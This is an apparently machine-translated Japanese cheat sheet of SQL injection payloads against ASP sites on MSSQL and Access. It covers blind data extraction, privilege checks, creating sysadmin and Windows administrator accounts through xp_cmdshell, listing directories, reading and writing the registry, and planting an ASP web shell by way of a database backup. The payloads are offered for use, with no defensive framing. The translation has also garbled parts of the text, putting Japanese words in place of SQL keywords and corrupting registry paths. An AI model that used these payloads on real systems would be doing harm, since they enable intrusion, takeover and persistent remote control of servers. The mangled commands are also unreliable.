ASPインジェクションの手法を網羅的に理解する【収録概要
2022-01-17 20:08:17
1. インジェクションがあるかどうかの判断
;かつ1=1
と1=2
2. mssqlかどうかの初期判定
とユーザー>0
3. インジェクションパラメータは文字
''と[クエリ条件]と''=''です。
4. フィルタリングパラメータを指定しない検索
'かつ[クエリ条件]かつ'%25'=' です。
5. データベースシステムの決定
;かつ (select count(*) from sysobjects)>0 mssql
;and (select count(* from msysobjects)>0 アクセス
6. データベースを推測する
;かつ (Select Count(*) from [データベース名])>0
7. フィールドを推測する
;かつ (Select Count(field name) from database name)>0
8. フィールドのレコードの長さを推測する
;かつ (select top 1 len(field name) from database name)>0
9.(1) フィールドのアスキー値を推測する(アクセス)
;and (select top 1 asc(mid(field name,1,1)) from database name)>0
(2) フィールドのアスキー値を推測する(mssql)
;かつ (select top 1 unicode(substring(field name,1,1)) from database name)>0
10. 権限構造のテスト (mssql)
;and 1=(Select IS_SRVROLEMBER('sysadmin'));-- 。
;and 1=(Select IS_SRVROLEMEMBER('serveradmin'));-- 。
;and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--.
;and 1=(Select IS_MEMBER('db_owner'));-- 。
11. mssqlとシステムアカウントの追加
;exec master.dbo.sp_addlogin ユーザー名;--。
;exec master.dbo.sp_password null,ユーザー名,パスワード;--。
;exec master.dbo.sp_addsrvrolemember sysadmin ユーザー名;--。
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--;;--.
;exec master.dbo.xp_cmdshell 'ネットユーザー ユーザー パスワード /add';--.
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--.
12.(1) ディレクトリをたどる
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'.
;and (select top 1 paths from dirs)>0
;そして(select top 1 paths from dirs where paths not in('paths obtained in previous step'))>)
(2) ディレクトリを繰り返し処理する
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--)
;insert temp exec master.dbo.xp_availablemedia;-- 現在のすべてのドライブを取得します。
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- サブディレクトリのリストを取得します。
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- すべてのサブディレクトリを含むディレクトリツリー構造を取得します。
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\webindex.asp';-- View the contents of the file
13. mssql におけるストアドプロシージャ
xp_regenumvalues レジストリルートキー、サブキー
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Windows³³CurrentVersion³³Run' Return all keys as multiple recordsets
xp_regread ルートキー、サブキー、キー名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftGuideWindowsCurrentVersion','CommonFilesDir' 指定したキーの値を返送します。
xp_regwrite ルートキー、サブキー、値名、値型、値
値の種類には、文字型のREG_SZと整数型のREG_DWORDの2種類があります。
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftGuideWindowsGuideCurrentVersion',
'TestValueName','reg_sz','hello' レジストリに書き込みます。
xp_regdeletevalue ルートキー,サブキー,値名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft⇄WindowsCurrentVersion','TestValueName' Delete a value
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey' Delete the key, including all values under the key
14. mssqlのバックアップでwebshellが作成される
使用モデル
テーブルcmd(str image)を作成します。
cmd(str) に値 ('<% Dim oScript %>') を挿入します。
データベースモデルをdisk='c:Ⅻl.asp'にバックアップします。
15. MSSL組み込み関数
;and (select @@@version)>0 Windowsのバージョン番号を取得する。
;and user_name()='dbo' システム上で現在接続中のユーザーがsaであるかどうかを判定します。
;and (select user_name())>0 現在のシステムの接続ユーザーを爆発させます。
;and (select db_name())>0 現在接続しているデータベースを取得します。
16. ウェブシェルのクリーンアップ
使用モデル
テーブルcmd(str image)を作成します。
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c" ;)).stdout.readall%>').*');
backup database model to disk='g:\wwwtest***l.asp';
関連
-
よくあるウェブ攻撃について解説
-
優れたWebログセキュリティ解析ツール10選 おすすめまとめ
-
QQは、履歴を削除する方法簡単な方法を復元するためにチャット
-
広告コードをrm形式で挿入
-
mysql5 インジェクションの脆弱性
-
WebサイトにおけるInvisible Bomb eWebEditorのファイルアップロードの脆弱性に対するパッチについて
-
asp cer cdx htrファイルのアップロードを許可しないサイトでの解決策!
-
潜入でopenrowsetでシェルを取得する方法
-
Macでmitmproxyを使ってHTTPSのデータを取得する方法
-
SQLインジェクション(SQL Injection)の攻撃方法を学ぶ
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
SA サンドボックスモードで xp_cmdshell と xplog70.dll をリストアせずにコマンドを実行する。
-
JSとC#それぞれのアンチインジェクションコード
-
ASP、PHP、.NETのHTTP-REFERERの偽造方法と偽造REFERERを防止するための方法
-
PHPSHELLがまた新しくなりました
-
Wish poolプラグインリモートコンテナの脆弱性
-
Wind Newsletter 4.0の未公開バグについて
-
Sql2005インジェクションアシストスクリプト[修正版]について
-
サーブユーが管理者パスワードを入手する新手口(スピン)
-
Dでよく使われるインジェクションコマンドをいくつかまとめてみました。
-
コンピュータが他人に操作されるのを防ぐ